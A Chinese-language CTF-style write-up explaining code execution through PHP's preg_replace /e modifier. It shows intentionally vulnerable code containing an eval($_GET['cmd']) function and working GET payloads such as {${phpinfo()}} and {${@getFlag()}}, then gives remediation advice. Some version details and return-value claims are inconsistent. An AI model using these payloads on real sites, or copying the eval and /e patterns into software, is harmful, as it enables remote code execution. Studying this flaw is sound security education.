1. 引言
在 PHP 7.3 之前,preg_replace
使用 /e
(执行)模式时,可能导致代码执行漏洞。其中包括 preg_replace 函数的执行过程分析、正则表达式分析、漏洞触发分析 。
2. 代码案例分析
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str) . "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
漏洞点分析
-
preg_replace
使用了/e
模式,会执行替换字符串作为 PHP 代码。 -
第二个参数
'strtolower("\\1")'
直接调用了strtolower()
,并将\1
作为参数。 -
\1
在正则表达式中是匹配的第一个子模式,即用户输入。
如果传入的 $re
和 $str
经过特定构造,就可以执行任意 PHP 代码。
3. 第一个坑:\1
的作用
eval('strtolower("\\1")');
\1
在 PHP 正则表达式中代表的是第一个匹配的子模式(即括号 ()
内的内容)。
示例 payload:
?.*={${phpinfo()}}
在 preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
这句代码中,\1
匹配的是 phpinfo()
,所以最终会执行 phpinfo()
。
问题点:
但在 GET 传参的情况下,?.*
不是一个合法的 PHP 变量名,会被 PHP 替换 _
,导致匹配失败。
4. 第二个坑:匹配所有字符的正则表达式
为了绕过 PHP 变量名限制,我们可以使用 \S*
进行匹配。
?\S*={${phpinfo()}}
为什么 \S*
能够匹配?
-
\s
表示空白字符,如空格、换行、制表符。 -
\S
表示非空白字符。 -
.
默认不匹配换行,但[\s\S]
可以匹配所有字符。
所以,我们使用 \S*
作为匹配规则,可以成功匹配 {${phpinfo()}}
,从而触发 phpinfo()
。
5. 第三个坑:PHP 可变变量解析
{${phpinfo()}}
在 PHP 中,双引号可以解析变量,而单引号不会解析。
-
{${phpinfo()}}
中的phpinfo()
会先执行,返回1
。 -
变成
{${1}}
,即{1}
,最终结果为1
。
代码示例
var_dump(phpinfo()); // 结果:true
var_dump(strtolower(phpinfo())); // 结果:'1'
var_dump(preg_replace('/(.*)/ie','1','${phpinfo()}'));// 结果:'11'
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:''
最终执行的 preg_replace
代码等价于:
strtolower("{null}") // 结果为空字符串
6. 直接调用 getFlag()
进行代码执行
payload:
?\S*={${@getFlag()}}&cmd=phpinfo();
这样,我们可以利用 getFlag()
函数,执行 eval($_GET['cmd'])
,从而执行任意 PHP 代码。
7. 结论
-
preg_replace
/e
模式可以执行 PHP 代码,因此在 PHP 7.3 之前的版本存在严重安全风险。 -
由于 PHP 变量名限制,直接使用
?.*
可能导致匹配失败,需要使用\S*
进行匹配。 -
利用
{${phpinfo()}}
形式,可以通过 PHP 可变变量解析执行任意代码。 -
可通过
getFlag()
函数,进一步执行任意命令。
安全建议
-
不要 在 PHP 代码中使用
preg_replace /e
,使用preg_replace_callback()
替代。 -
升级 PHP 到 7.3+,完全移除
/e
模式支持。 -
严格过滤用户输入,避免代码执行漏洞。
参考资料